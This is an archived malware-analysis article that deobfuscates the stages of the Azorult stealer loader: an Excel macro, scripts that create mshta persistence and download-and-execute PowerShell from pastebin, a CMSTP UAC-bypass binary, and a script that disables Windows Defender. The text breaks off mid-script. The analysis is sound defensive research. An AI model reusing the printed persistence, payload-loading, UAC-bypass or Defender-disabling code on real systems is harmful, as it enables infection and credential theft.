{
	"id": "b56fcff4-266e-43bf-9364-e18bb137c869",
	"created_at": "2026-04-06T00:08:58.942354Z",
	"updated_at": "2026-04-10T03:35:56.62581Z",
	"deleted_at": null,
	"sha1_hash": "cd9635a2bc937e47bcb5f63380546d3115fcd7d9",
	"title": "Azorult loader stages – Max Kersten",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 203184,
	"plain_text": "Azorult loader stages – Max Kersten\r\nArchived: 2026-04-05 13:12:39 UTC\r\nThis article was published on the 26th of March 2020. This article was updated on the 3rd of April 2020, on the\r\n13th of April 2020, and on the 8th of December 2021.\r\nAzorult is an information stealer that steals passwords from installed applications, browser cookies,\r\ncryptocurrency wallets, arbitrary files, and more. In this article, the loading phase of the Azorult stealer is analysed\r\nin the usual step-by-step manner. These stages are written in multiple languages and contain several obfuscation\r\nmethods, multiple files, a UAC bypass, and a process injection technique. Additionally, the loader keeps most files\r\nin-memory, which lowers the initial detection rate significantly.\r\nThis sample is part of Gorgon group’s cluster one, as documented by Prevailion.\r\nTable of contents\r\nTerminology\r\nSample information\r\nStage 1 – The malicious macro\r\nStage 2 – Persistence and more stages\r\nStage 3 – Loading the Azorult loader\r\nStage 4 – Disabling Windows Defender\r\nStage 5 – Loading Azorult\r\nConclusion\r\nTerminology\r\nWhile most of the files are kept in-memory, some of them are still stored on the disk. Some reports call this file-less, whilst others do not. In this article, the exact definition is left up to the reader.\r\nAside from the above-mentioned, the execution is partly done via binaries that are already present on systems.\r\nThese binaries are often called LoLBins, which is short for Living of the Land Binaries. LoLBins are used to\r\nperform certain actions, for which they are designed. As such, their features are used as expected, though with\r\nmalicious intention. This campaign uses multiple LoLBins.\r\nSample information\r\nThe sample, which is a ZIP folder that contains all stages separately, can be downloaded from VirusBay, Malware\r\nBazaar, or MalShare. The hashes given below are for the malicious Excel workbook, which is the first stage.\r\nMD5: 0f49e06aaab8816a9d95815e749fb291\r\nSHA-1: e124c99646e1d7fa682e465630eda2159172dcb1\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 1 of 30\n\nSHA-256: f5190d29af5ba58c45b138751593e2f5ed014d42e5c37f05f6ea98ee8838c9e2\r\nSize: 37376 bytes\r\nI’d like to thank Itay ‘Megabeets’ Cohen for assisting me in finding the sample.\r\nStage 1 – The malicious macro\r\nTo view the macros within the Excel workbook, one can use olevba, which is part of the oletools suite. To install\r\nthe tools, one has to run the following command:\r\nsudo -H pip3 install -U oletools\r\nNote that the used pip has to correspond with the Python version that is on your system.\r\nTo see what macros are in the first stage, simply run olevba with the Excel workbook as its sole parameter. The\r\ncommand is given below.\r\nolevba ./stage1-macro.xls\r\nWhen reviewing the macros, one has to look for the function that gets executed first. In this case, this function is\r\nnamed Workbook_BeforeClose. To evade detection, the macro in this Excel workbook does not execute directly\r\nwhen the document is opened, but rather when it is closed. Some sandboxes only open the document, which\r\ncauses the verdict to come back as benign rather than malicious. Microsoft documented the function here. The\r\nmacro is given below.\r\nSub Workbook_BeforeClose(Cancel As Boolean)\r\nShell \"ipconfig\"\r\nShell \"ipconfig\"\r\nSheet2.VVV\r\nShell \"ipconfig\"\r\nShell \"ipconfig\"\r\nEnd Sub\r\nThe Shell function is used to run an executable program, as is stated in the documentation. The second parameter,\r\nwhich is used to set the window style of the program, is optional. If it is not included in the call, as is the case in\r\nthis sample, the window style is set to minimised with focus.\r\nThe ipconfig binary is used to print information about the connectivity of the machine. In this case, the outcome of\r\nthe function call is lost. The only other function call in this function refers to Sheet2.VVV, without any arguments.\r\nThis function is given below.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 2 of 30\n\nSub VVV()\r\nShell \"ipconfig\"\r\nShell \"ipconfig\"\r\nCall Sheet1.VVV2\r\nShell \"ipconfig\"\r\nShell \"ipconfig\"\r\nEnd Sub\r\nThis function has a similar lay-out, although it calls to Sheet1.VVV2, which is given below.\r\nSub VVV2()\r\nShell \"ipconfig\"\r\nSet omsvd = CreateObject(\"WScript.Shell\")\r\nomsvd.RegWrite \"H\" \u0026 \"K\" \u0026 \"C\" \u0026 \"U\" \u0026 \"\\\" \u0026 \"S\" \u0026 \"o\" \u0026 \"f\" \u0026 \"t\" \u0026 \"w\" \u0026 \"a\" \u0026 \"re\\M\" \u0026 \"i\" \u0026 \"c\" \u0026\r\nShell \"ipconfig\"\r\nEnd Sub\r\nThis function creates a WScript.Shell object, which is then used to write a value to the registry. The strings are\r\nsplit per character. Below, the function is given with concatenated strings.\r\nSub VVV2()\r\nShell \"ipconfig\"\r\nSet omsvd = CreateObject(\"WScript.Shell\")\r\nomsvd.RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\fgiopoiuytresdfgh\", \"mshta http:\\\\\r\nShell \"ipconfig\"\r\nEnd Sub\r\nThe used registry location contains all items that are executed when the system starts. In this case, the registry key\r\nnamed fgiopoiuytresdfgh contains mshta http:\\\\j.mp\\fgiopoiuytresdfgh. The Microsoft HTA executable (mshta) is\r\npresent on all modern Windows systems, and is a LoLBin. It corrects the backwards slashes to forward slashes,\r\nthus validating the address. The third argument, REG_SZ defines the type of the value that is stored in the registry.\r\nPer Microsoft’s documentation, this type is a null-terminated ANSI or Unicode string.\r\nThis function creates a persistence mechanism to execute the payload that is located at the given URL, which is\r\nthe next stage.\r\nStage 2 – Persistence and more stages\r\nThe URL that launches the second stage redirects towards https://pastebin.com/raw/N7bd8WVi. The script that is\r\nhosted there is escaped and obfuscated. First, the complete script will be unescaped and deobfuscated. After that,\r\nthe script will be analysed.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 3 of 30\n\nStage 2 – Unescaping and deobfuscation\r\nThe escaped script is given below.\r\ndocument.write(unescape(\"%3Cscript%20language%3D%22%26%2386%3B%26%2366%3B%26%2383%3B%26%2399%3B%26%23\r\nOne can unescape this script in the browser’s console, using the command that is given below. Note that the […]\r\nis a placeholder for the script, which is omitted due to brevity.\r\nconsole.log(unescape(\"[...]\"));\r\nThe complete decoding command is given below.\r\nconsole.log(unescape(\"%3Cscript%20language%3D%22%26%2386%3B%26%2366%3B%26%2383%3B%26%2399%3B%26%23114\r\nAs a result, the console will print the unescaped script, which can then be copied into a text editor of choice. The\r\nunescaped script is given below.\r\nset nci = CreateObject(StrReverse(\"llehS.tpircSW\"))\r\nDim xx\r\nxx1 = \"r \"\"mshta http:\\\\pastebin.com\\raw\\wnacsSXn\"\" /F \"\r\nxx0 = StrReverse(\"t/ )+Dogad+( nt/ 07 om/ ETUNIM cs/ etaerc/ sksathcs\")\r\nnci.run xx0 + xx1, vbHide\r\nset Ixsi = CreateObject(StrReverse(\"llehS.tpircSW\"))\r\nDim Bik\r\nBik1 = \"\"\"mshta\"\"\"\"http:\\\\pastebin.com\\raw\\wnacsSXn\"\"\"\r\nIxsi.run Bik1, vbHide\r\nCreateObject(\"WScript.Shell\").RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\", \"m\" +\r\nSet x_iw = CreateObject(\"W\" + \"S\" + \"c\" + \"r\" + \"i\" + \"p\" + \"t\" + \".\" + \"S\" + \"h\" + \"e\" + \"l\" + \"l\")\r\nx_iw.Run(\"P\" + \"o\" + \"w\" + \"e\" + \"r\" + \"s\" + \"h\" + \"e\" + \"l\" + \"l\" + \".\" + \"e\" + \"x\" + \"e -noexit [By\r\nself.close\r\nThe script is obfuscated in several ways. One way to avoid detection, is to reverse strings. In this case, the\r\nStrReverse function is used to revert the strings back to their original value. An example is given below.\r\nStrReverse(\"llehS.tpircSW\")\r\nAdditionally, string concatenation is used to avoid detection. An example of string concatenation is given below.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 4 of 30\n\n\"W\" + \"S\" + \"c\" + \"r\" + \"i\" + \"p\" + \"t\" + \".\" + \"S\" + \"h\" + \"e\" + \"l\" + \"l\"\r\nOnce both are removed, the script becomes easily readable, as can be seen below.\r\nset nci = CreateObject(\"WScript.Shell\")\r\nDim xx\r\nxx1 = \"r \"\"mshta http:\\\\pastebin.com\\raw\\wnacsSXn\"\" /F \"\r\nxx0 = \"schtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /t\"\r\nnci.run xx0 + xx1, vbHide\r\nset Ixsi = CreateObject(\"WScript.Shell\")\r\nDim Bik\r\nBik1 = \"\"\"mshta\"\"\"\"http:\\\\pastebin.com\\raw\\wnacsSXn\"\"\"\r\nIxsi.run Bik1, vbHide\r\nCreateObject(\"WScript.Shell\").RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\", \"mshta\r\nSet x_iw = CreateObject(\"WScript.Shell\")\r\nx_iw.Run(\"Powershell.exe -noexit [Byte[]]$sc64= iex(iex('(\u0026(GCM *W-O*)'+ 'Net.WebClient).DownloadStri\r\nself.close\r\nThe bottom part of the script still contains several string replacement calls. Below, excerpts from the script are\r\ngiven, together with an explanation.\r\n.replace(''#'',''^%$'').replace(''^%$'',''0x'')\r\nThe main purpose of these two chained replacement calls, is to replace the # character into 0x. As such, this can be\r\nsimplified into a single replace call, as is given below.\r\nRedundant calls are often added to confuse antivirus suites and researchers.\r\nThe following two strings are only missing the first character. This causes existing rules that match on full words\r\nto fail.\r\n'(\u0026$@#$%^\u0026*(urrentDomain'.replace('(\u0026$@#$%^\u0026*(','C')\r\n'%*\u0026^*\u0026^*\u0026^*\u0026^*\u0026oad'.replace('%*\u0026^*\u0026^*\u0026^*\u0026^*\u0026','L')\r\nTheir values are CurrentDomain and Load respectively.\r\nThe last string is only obtained after two string replace calls, and uses a trick to confuse text editors that highlight\r\nbrackets, as well as analysts who look at the code: the string to be replaced contains an opening bracket. Since it is\r\na part of the string, there is no need for a closing bracket. Text editors will expect the next closing bracket to be\r\npart of it, which can cause syntax highlighting to malfunction.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 5 of 30\n\n'in*\u0026^*\u0026^*\u0026^\u0026*^*\u0026^ok))*()*)(**(\u0026(*\u0026'.replace('))*()*)(**(\u0026(*\u0026','e').replace('*\u0026^*\u0026^*\u0026^\u0026*^*\u0026^','v')\r\nThe string’s value is invoke.\r\nLastly, a the Get-Command, abbreviated with GCM, is used to obscure a part of the script. This cmdlet lists all\r\ncommands that are installed on the machine, and allows the use of wildcards. The command GCM *W-O* is used\r\nin the script. The result of the command is given below.\r\nPS C:\\Users\\user\u003e GCM *W-O*\r\nCommandType Name Version Source\r\nCmdlet New-Object 3.1.0.0\r\nThe result of removing all the unnecessary code is a clean script, as can be seen below.\r\nset nci = CreateObject(\"WScript.Shell\")\r\nDim xx\r\nxx1 = \"r \"\"mshta http:\\\\pastebin.com\\raw\\wnacsSXn\"\" /F \"\r\nxx0 = \"schtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /t\"\r\nnci.run xx0 + xx1, vbHide\r\nset Ixsi = CreateObject(\"WScript.Shell\")\r\nDim Bik\r\nBik1 = \"\"\"mshta\"\"\"\"http:\\\\pastebin.com\\raw\\wnacsSXn\"\"\"\r\nIxsi.run Bik1, vbHide\r\nCreateObject(\"WScript.Shell\").RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\", \"mshta\r\nSet x_iw = CreateObject(\"WScript.Shell\")\r\nx_iw.Run(\"Powershell.exe -noexit [Byte[]]$sc64= iex(iex('New-Object Net.WebClient).DownloadString(''h\r\nself.close\r\nStage 2 – Script analysis\r\nThe script is made up out of four blocks of code, which all serve a different purpose. In this section, all four\r\nblocks will be analysed step-by-step.\r\nBlock 1 – Scheduling a task\r\nThe first block of code uses schtasks, which is present on all modern Windows systems. As such, it is a LoLBin.\r\nThis tool, short for scheduled tasks, does what its name suggest: it schedules tasks that are executed in the future.\r\nThe code of the first block is given below.\r\nset nci = CreateObject(\"WScript.Shell\")\r\nDim xx\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 6 of 30\n\nxx1 = \"r \"\"mshta http:\\\\pastebin.com\\raw\\wnacsSXn\"\" /F \"\r\nxx0 = \"schtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /t\"\r\nnci.run xx0 + xx1, vbHide\r\nA WScript Shell object is instantiated, which then used to execute the concatenated value of xx0 and xx1. The\r\nwindow style of the executed command is set to hidden using vbHide. The concatenated value is given below.\r\nschtasks /create /sc MINUTE /mo 70 /tn (+dagoD+) /tr \"mshta http:\\\\pastebin.com\\raw\\wnacsSXn\" /F\r\nThe /create flag is used to create a new task. The /sc flag is short for schedule, which requires the interval type. In\r\nthis case, the interval is specified in minutes. The interval value is set using /mo, which is short for modifier. The\r\ntask name is set using /tn. The task to run is set using /tr. At last, the /F is used to forcefully create the task and\r\nsuppress any warning that might come up.\r\nThe task that is scheduled calls out to the given address using mshta every 70 minutes, and is named (+dagoD+).\r\nas mentioned before, the mshta binary is a LoLBin. The given address is the third stage of the loader.\r\nBlock 2 – Script execution\r\nThe second block of code in the script is very similar to the first block. It simply executes the next stage, as can be\r\nseen below.\r\nset Ixsi = CreateObject(\"WScript.Shell\")\r\nDim Bik\r\nBik1 = \"\"\"mshta\"\"\"\"http:\\\\pastebin.com\\raw\\wnacsSXn\"\"\"\r\nIxsi.run Bik1, vbHide\r\nThe third stage is executed using a WScript Shell and within a hidden window. This block ensures that the\r\nexecution happens directly. After that, the third stage is executed via the scheduled task every 70 minutes.\r\nBlock 3 – More persistence\r\nThe third block adds a new value to the registry key, thereby persisting the call to a specific URL using mshta\r\nevery time the machine starts. The code is given below.\r\nCreateObject(\"WScript.Shell\").RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\", \"mshta\r\nThe content that resides at the given URL is an empty template script for the WScript Shell. The template is given\r\nbelow.\r\nPastes on Pastebin can be edited. As such, the reoccurring call to this script can be used to execute a different\r\nscript in the future.\r\nBlock 4 – PowerShell execution\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 7 of 30\n\nThe last block of code in this script executes PowerShell code via the WScript Shell. The PowerShell script uses a\r\npart of the Dot Net Framework to download a string. The code is given below.\r\nSet x_iw = CreateObject(\"WScript.Shell\")\r\nx_iw.Run(\"Powershell.exe -noexit [Byte[]]$sc64= iex(iex('New-Object Net.WebClient).DownloadString(''h\r\nself.close\r\nThe script that is downloaded, is altered using the replace which makes it a byte array. After that, the byte array is\r\nloaded into the current domain and executed without any additional arguments. This binary file is the fourth stage.\r\nStage 3 – Loading the Azorult loader\r\nThis script is escaped, similar to previous one. The same method can be used to unescape the script. The escaped\r\nscript is given below.\r\ndocument.write(unescape(\"%3Cscript%20language%3D%22%26%2386%3B%26%2366%3B%26%2383%3B%26%2399%3B%26%23\r\nThe unescaped script is given below.\r\nSet mmn = CreateObject(StrReverse(\\\"llehS.tpircSW\\\"))\r\nllll = \\\"p\\\" + \\\"o\\\" + \\\"w\\\" + \\\"e\\\" + \\\"r\\\" + \\\"she\\\" + \\\"ll do {$ping = test-connection -comp googl\r\nmmn.Run llll, vbHide\r\nself.close\r\nThe unescaped script contains string concatenation, reversed strings, a lack of new lines, Get-Command usage,\r\nand string replacement calls. As these techniques have been analysed in the second stage, their removal is not\r\ncovered here. The cleaned script is given below.\r\nSet mmn = CreateObject(\"WScript.Shell\")\r\nllll = \"powershell do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$p22 =\r\nmmn.Run llll, vbHide\r\nself.close\r\nIn this case, the WScript Shell is only used to execute PowerShell code. As such, the PowerShell code can be\r\nextracted from the script, together with new lines to make the code easily readable. The PowerShell excerpt is\r\ngiven below in four blocks.\r\ndo {\r\n $ping = test-connection -comp google.com -count 1 -Quiet\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 8 of 30\n\n} until ($ping);\r\n$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);\r\n[System.Net.ServicePointManager]::SecurityProtocol = $p22;\r\n$t= New-Object -Com Microsoft.XMLHTTP;\r\n$t.open('GET','https://pastebin.com/raw/5sfgNap6',$false);\r\n$t.send();\r\n$ty=[Text.Encoding]::'UTF8'.'GetString'([Convert]::'FromBase64String'($t.responseText))|IEX;\r\n[Byte[]]$Cli2= iex(iex('(\u0026(GCM *W-O*)'+ 'Net.WebClient).DownloadString(''https://pastebin.com/raw/82G\r\n$t=[System.Reflection.Assembly]::Load($decompressedByteArray);\r\n[Givara]::FreeDom('svchost.exe',$Cli2)\r\nEach block will be analysed step-by-step.\r\nBlock 1 – Testing the internet connection\r\nThe first block of code tests the internet connection quitely. This part of the script has two use cases. Firstly, it\r\nonly continues when there is an internet connection. If there is none, the loop will continue until the condition is\r\nmet. Secondly, it generates legitmate network traffic, which can confuse the behavioral scan that is conducted by\r\nantivirus products.\r\ndo {\r\n $ping = test-connection -comp google.com -count 1 -Quiet\r\n} until ($ping);\r\nThe used cmdlet is documented here by Microsoft.\r\nBlock 2 – Setting the security protocol\r\nThe second block is used to set the security protocol, which is used in the third block. The enum value of 3072\r\nrefers to TLS 1.2. Windows supports this since Windows 7.\r\n$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::Se\r\nThe value that is set in this block has an effect on all future calls within this script.\r\nBlock 3 – Loading more PowerShell code\r\nIn this block, a HTTP request is made to download a base64 encoded script, as can be seen below.\r\n$t= New-Object -Com Microsoft.XMLHTTP;\r\n$t.open('GET','https://pastebin.com/raw/5sfgNap6',$false);\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 9 of 30\n\n$t.send();\r\n$ty=[Text.Encoding]::'UTF8'.'GetString'([Convert]::'FromBase64String'($t.responseText))|IEX;\r\nBased on IEX, which is short for Invoke-Expression, one can deduce that the decoded script is also a PowerShell\r\nscript. This script will be analysed in stage 5.\r\nBlock 4 – Executing an exported function\r\nThe last block of code downloads yet another string, after which a string replacement call is made. The value is\r\nstored as a byte array.\r\n[Byte[]]$Cli2= iex(iex('(\u0026(GCM *W-O*)'+ 'Net.WebClient).DownloadString(''https://pastebin.com/raw/82G\r\n$t=[System.Reflection.Assembly]::Load($decompressedByteArray);\r\n[Givara]::FreeDom('svchost.exe',$Cli2)\r\nAt last, a variable with an unknown content is loaded into memory, after which a function from an unknown class\r\nis called. The definition and initialisation of the missing data can only be present in the PowerShell script that is\r\ndownloaded and executed in the third block. The newly created byte array is used as an argument. As such, this\r\nwill also be covered in stage 5.\r\nStage 4 – Disabling Windows Defender\r\nThis stage contains a single script, which is converted into a Dot Net binary, after which it is loaded into memory,\r\nfrom where it is executed. The command to download and save the binary is given below.\r\n[Byte[]]$Cli2= iex(iex('(\u0026(GCM *W-O*)'+ 'Net.WebClient).DownloadString(''https://pastebin.com/raw/NRW\r\n$Cli2 | Set-Content stage4.dll -Encoding Byte\r\nIt pipes the variable $Cli2 into the Set-Content cmdlet, which is documented here. The encoding type is specified\r\nas Byte, as it is a binary file.\r\nAnalysing a Dot Net binary can be done using dnSpy.\r\nThis binary contains only a single class, which is named CMSTPBypass. Within this class, there are two external\r\nfunctions, both of which are given below.\r\n// Token: 0x06000001 RID: 1\r\n[DllImport(\"user32.dll\")]\r\npublic static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);\r\n// Token: 0x06000002 RID: 2\r\n[DllImport(\"user32.dll\", SetLastError = true)]\r\npublic static extern bool SetForegroundWindow(IntPtr hWnd);\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 10 of 30\n\nAdditionally, two global variables are also declared and initialised, which are given below.\r\npublic static string InfData = \"[version]\\r\\nSignature=$chicago$\\r\\nAdvancedINF=2.5\\r\\n\\r\\n[DefaultIn\r\npublic static string BinaryPath = \"c:\\\\windows\\\\system32\\\\cmstp.exe\";\r\nThe main function of the program, which is where the exeuction starts, is given below in full. After that, the\r\nfunction is analysed in smaller bits.\r\n// Token: 0x06000004 RID: 4 RVA: 0x000020F4 File Offset: 0x000002F4\r\npublic static void Main()\r\n{\r\n try\r\n {\r\n string text = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + \"\\\\temp\\\\\" + Pat\r\n {\r\n Convert.ToChar(\".\")\r\n })[0] + \".vbs\";\r\n File.WriteAllBytes(text, CMSTPBypass.GetResource(\"31u5mzgjiv4\"));\r\n StringBuilder stringBuilder = new StringBuilder();\r\n stringBuilder.Append(CMSTPBypass.SetInfFile(\"cmd /c start \\\"\" + text + \"\\\"\"));\r\n Process.Start(new ProcessStartInfo(CMSTPBypass.BinaryPath)\r\n {\r\n Arguments = \"/au \" + stringBuilder.ToString(),\r\n UseShellExecute = false,\r\n CreateNoWindow = true,\r\n WindowStyle = ProcessWindowStyle.Hidden\r\n });\r\n IntPtr value = 0;\r\n value = IntPtr.Zero;\r\n do\r\n {\r\n value = CMSTPBypass.SetWindowActive(\"cmstp\");\r\n }\r\n while (value == IntPtr.Zero);\r\n SendKeys.SendWait(\"{ENTER}\");\r\n }\r\n catch\r\n {\r\n }\r\n Environment.Exit(0);\r\n}\r\nAs can be observed in the code above, the original names are still present in the code. There is no obfuscation\r\npresent either. The first part of the code is given below.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 11 of 30\n\nstring text = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + \"\\\\temp\\\\\" + Path.GetRan\r\n {\r\n Convert.ToChar(\".\")\r\n })[0] + \".vbs\";\r\nFile.WriteAllBytes(text, CMSTPBypass.GetResource(\"31u5mzgjiv4\"));\r\nIn the code above, a path is created by concatenating the Windows folder to which \\temp\\ is appended. The\r\nPath.GetRandomFileName function, as documented here, generates a random file name including a random\r\nextension. By splitting the string at the dot, the file name and file extension are split. Index zero of the resulting\r\narray contains the file name, to which the VBScript extension is then appended. In short, assuming that Windows\r\nis installed on the C-drive, a file is created at C:\\Windows\\temp\\[randomName].vbs.\r\nThe second line creates a new file based on the given path. The content of the file is obtained using the\r\nGetResource function, which is given below.\r\n// Token: 0x06000006 RID: 6 RVA: 0x00002254 File Offset: 0x00000454\r\nprivate static byte[] GetResource(string file)\r\n{\r\n ResourceManager resourceManager = new ResourceManager(\"su5stfdsn0l\", Assembly.GetExecutingAssembl\r\n return (byte[])resourceManager.GetObject(file);\r\n}\r\nThe resource manager is used to get load the file based on the given name. The script that is written to the disk, is\r\ngiven below.\r\nIf Not WScript.Arguments.Named.Exists(\"elevate\") Then\r\n CreateObject(\"Shell.Application\").ShellExecute WScript.FullName _\r\n , \"\"\"\" \u0026 WScript.ScriptFullName \u0026 \"\"\" /elevate\", \"\", \"runas\", 1\r\n WScript.Quit\r\nEnd If\r\nOn Error Resume Next\r\nSet WshShell = CreateObject(\"WScript.Shell\")\r\nWshShell.RegWrite \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware\",\"0\",\"REG_DWO\r\nWshShell.RegWrite \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableBeha\r\nWshShell.RegWrite \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableOnAc\r\nWshShell.RegWrite \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableScan\r\nWScript.Sleep 100\r\noutputMessage(\"Set-MpPreference -DisableRealtimeMonitoring $true\")\r\noutputMessage(\"Set-MpPreference -DisableBehaviorMonitoring $true\")\r\noutputMessage(\"Set-MpPreference -DisableBlockAtFirstSeen $true\")\r\noutputMessage(\"Set-MpPreference -DisableIOAVProtection $true\")\r\noutputMessage(\"Set-MpPreference -DisableScriptScanning $true\")\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 12 of 30\n\noutputMessage(\"Set-MpPreference -SubmitSamplesConsent 2\")\r\noutputMessage(\"Set-MpPreference -MAPSReporting 0\")\r\noutputMessage(\"Set-MpPreference -HighThreatDefaultAction 6 -Force\")\r\noutputMessage(\"Set-MpPreference -ModerateThreatDefaultAction 6\")\r\noutputMessage(\"Set-MpPreference -LowThreatDefaultAction 6\")\r\noutputMessage(\"Set-MpPreference -SevereThreatDefaultAction 6\")\r\nSub outputMessage(byval args)\r\nOn Error Resume Next\r\nSet objShell = CreateObject(\"Wscript.shell\")\r\nobjShell.run(\"powershell \" + args), 0\r\nEnd Sub\r\nThe given script has to run with elevated permissions. If this isn’t the case, it is launched again. This loop\r\ncontinues until the code is launched with elevated permissions. Once it runs with elevated permissions, Windows\r\nDefender will be disabled by altering several registry keys. Additionally, the Set-MpPreference cmdlet, which is\r\ndocumented here, is used to disable even more parts of Windows Defender.\r\nThe next part of the code refers back to the VBScript that is given above, and calls the SetInfFile function. The\r\ncode is given below.\r\nStringBuilder stringBuilder = new StringBuilder();\r\nstringBuilder.Append(CMSTPBypass.SetInfFile(\"cmd /c start \\\"\" + text + \"\\\"\"));\r\nThe stringBuilder variable is filled with the return value of the SetInfFile function, which requires a single\r\nparameter: CommandToExecute. The code of the function is given below.\r\n// Token: 0x06000003 RID: 3 RVA: 0x00002050 File Offset: 0x00000250\r\npublic static string SetInfFile(string CommandToExecute)\r\n{\r\n string value = Path.GetRandomFileName().Split(new char[]\r\n {\r\n Convert.ToChar(\".\")\r\n })[0];\r\n string value2 = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + \"\\\\temp\";\r\n StringBuilder stringBuilder = new StringBuilder();\r\n stringBuilder.Append(value2);\r\n stringBuilder.Append(\"\\\\\");\r\n stringBuilder.Append(value);\r\n stringBuilder.Append(\".inf\");\r\n StringBuilder stringBuilder2 = new StringBuilder(CMSTPBypass.InfData);\r\n stringBuilder2.Replace(\"REPLACE_COMMAND_LINE\", CommandToExecute);\r\n File.WriteAllText(stringBuilder.ToString(), stringBuilder2.ToString());\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 13 of 30\n\nreturn stringBuilder.ToString();\r\n}\r\nThe function gets a random file name, in the same way as the other random file name is obtained, and refers to the\r\nsame temp folder within the Windows directory. In there, a .inf file is created, which is filled with the content from\r\nthe global InfData variable. At last, the string REPLACE_COMMAND_LINE is replaced with the argument that is\r\nprovided to this function. After that, all data is written to the created path, and the complete path is returned.\r\nThe CMSTP binary, to which the global variable BinaryPath contains the full path, is used to add or remove a\r\nconnection manager profile, as is documented here. The next part of the code is given below.\r\nProcess.Start(new ProcessStartInfo(CMSTPBypass.BinaryPath)\r\n{\r\n Arguments = \"/au \" + stringBuilder.ToString(),\r\n UseShellExecute = false,\r\n CreateNoWindow = true,\r\n WindowStyle = ProcessWindowStyle.Hidden\r\n});\r\nIntPtr value = 0;\r\nvalue = IntPtr.Zero;\r\ndo\r\n{\r\n value = CMSTPBypass.SetWindowActive(\"cmstp\");\r\n}\r\nwhile (value == IntPtr.Zero);\r\nSendKeys.SendWait(\"{ENTER}\");\r\nThe process is started with the /au (short for all users) flag, to install the profile for all users. Addtitionally, the\r\nshell will not be used to install it, there will be no window created, and the window style is hidden. After the\r\nprocess is created, a loop to get the CMSTP window is entered, and will only be left once the window is found,\r\nsince the pointer is not null at that point. Once it is found, the enter key is sent, which confirms the creation of the\r\nprofile via the defaultly selected OK button. The code for the SetWindowActive function is given below.\r\n// Token: 0x06000005 RID: 5 RVA: 0x000021F8 File Offset: 0x000003F8\r\npublic static IntPtr SetWindowActive(string ProcessName)\r\n{\r\n Process[] processesByName = Process.GetProcessesByName(ProcessName);\r\n if (processesByName.Length == 0)\r\n {\r\n return IntPtr.Zero;\r\n }\r\n processesByName[0].Refresh();\r\n IntPtr intPtr = 0;\r\n intPtr = processesByName[0].MainWindowHandle;\r\n if (intPtr == IntPtr.Zero)\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/\r\nPage 14 of 30\n\n{\r\n return IntPtr.Zero;\r\n }\r\n CMSTPBypass.SetForegroundWindow(intPtr);\r\n CMSTPBypass.ShowWindow(intPtr, 5);\r\n return intPtr;\r\n}\r\nThe complete script, including the replacement command, is given below. This script is the User Account Control\r\nbypass that Oddvar Moe blogged about on the 15th of August 2017. Tyler Applebaum wrote a PowerShell script\r\nthat is equal to the Dot Net binary that is analysed above. The complete class can be found here. The original\r\nscript to disable Windows Defender can be found here.\r\n[version]\r\nSignature=$chicago$\r\nAdvancedINF=2.5\r\n[DefaultInstall]\r\nCustomDestination=CustInstDestSectionAllUsers\r\nRunPreSetupCommands=RunPreSetupCommandsSection\r\n[RunPreSetupCommandsSection]\r\n; Commands Here will be run Before Setup Begins to install\r\nIf Not WScript.Arguments.Named.Exists(\"elevate\") Then\r\n CreateObject(\"Shell.Application\").ShellExecute WScript.FullName _\r\n , \"\"\"\" \u0026 WScript.ScriptFullName \u0026 \"\"\" /elevate\", \"\", \"runas\", 1\r\n WScript.Quit\r\nEnd If\r\nOn Error Resume Next\r\nSet WshShell = CreateObject(\"WScript.Shell\")\r\nWshShell.RegWrite \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware\",\"0\",\"REG_DWO\r\nWshShell.RegWrite \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableBeha\r\nWshShell.RegWrite \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableOnAc\r\nWshShell.RegWrite \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows 